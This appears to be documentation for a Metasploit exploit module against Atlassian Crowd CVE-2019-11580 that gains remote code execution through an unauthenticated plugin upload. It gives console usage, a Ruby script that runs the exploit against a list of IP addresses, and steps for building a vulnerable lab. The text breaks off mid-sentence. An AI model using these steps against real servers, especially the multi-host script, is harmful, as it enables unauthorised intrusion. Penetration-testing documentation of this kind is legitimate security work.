Module Overview
Name: Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
Module: exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce

Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): java
Supported platform(s): Java
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8095, 8443, 8880, 8888
List of CVEs: CVE-2019-11580
This module can be used to upload a plugin on Atlassian Cloud via the pdkinstall development plugin as an unauthenticated attacker. The payload is uploaded as a JAR archive containing a servlet using a POST request to /crowd/admin/uploadplugin.action. The check command will check that the /crowd/admin/uploadplugin.action page exists and that it responds appropriately to determine if the target is vulnerable or not.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
Using atlassian_crowd_pdkinstall_plugin_upload_rce against a single host
Normally, you can use exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce this way:
msf > use exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce
msf exploit(atlassian_crowd_pdkinstall_plugin_upload_rce) > show targets
... a list of targets ...
msf exploit(atlassian_crowd_pdkinstall_plugin_upload_rce) > set TARGET target-id
msf exploit(atlassian_crowd_pdkinstall_plugin_upload_rce) > show options
... show and set options ...
msf exploit(atlassian_crowd_pdkinstall_plugin_upload_rce) > exploit
Using atlassian_crowd_pdkinstall_plugin_upload_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your atlassian_crowd_pdkinstall_plugin_upload_rce will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)

Knowledge Base
Vulnerable Application
Atlassian Crowd 2.1.x prior to 3.0.5, 3.1.x prior to 3.1.6, 3.2.x prior to 3.2.8, 3.3.x prior to 3.3.5, and 3.4.x prior to 3.4.4
had an incorrect installation of the pdkinstall development plugin, which allows unauthenticated remote attackers to upload and install
arbitrary plugins on vulnerable Atlassian Crowd and Atlassian Crowd Data Center installations via a POST request to the
/<crowd install base>/admin/uploadplugin.action
page.
Successful exploitation results in remote code execution as the user running the Atlassian Crowd server.
To set up a vulnerable Windows 10 installation:
1. Grab a copy of Windows, any version will do but I tested on Windows 10.
1. Grab a copy of the 3.0.3 version of Atlassian Crowd from https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.0.3.zip
1. Grab a copy of the Java 8 JDK from https://download.java.net/openjdk/jdk8u41/ri/openjdk-8u41-b04-windows-i586-14_jan_2020.zip
1. Unzip the JDK to a target directory.
1. Edit JAVA_HOME
environment variable and set it to the location where you extracted the Java 8 JDK.
1. Update the PATH
environment variable to include a path to the same location as JAVA_HOME
, but with \bin
at the end of it.
1. Extract the Atlassian Crowd zip.
1. Edit the atlassian-crowd-3.0.3\apache-tomcat\bin\catalina.bat
file and remove all the -Djava.endorsed.dirs
options.
1. Run start_crowd.bat
1. After a few minutes browse to http://localhost:8095/crowd/
and click the blue Set Up Crowd
button to do a new install.
1. Use the default settings, including using the embedded database.
1. Browse to http://localhost:8095/crowd/admin/uploadplugin.action
1. Verify a 400 error message stating that the page requires a POST
request is shown.
To set up a vulnerable 3.2.1 JDK 8 Docker image:
1. sudo docker volume create --name crowdVolume
1. sudo docker run -v crowdVolumeddd:/var/atlassian/application-data/crowd --name="crowd3.2.1" -d -p 8095:8095 atlassian/crowd:3.2.1-jdk8
1. Wait for install to finish then browse to http://localhost:8095/
.
1. Click the blue Set Up Crowd
button to do a new install.
1. If the Docker image crashes at this point, increase the amount of memory allocated towards it. Java requires a fair bit of memory.
1. Use the default settings, including using the embedded database.
1. Browse to http://localhost:8095/crowd/admin/uploadplugin.action
1. Verify a 400 error message stating that the page requires a POST
request is shown.
Verification Steps
- Follow the steps in
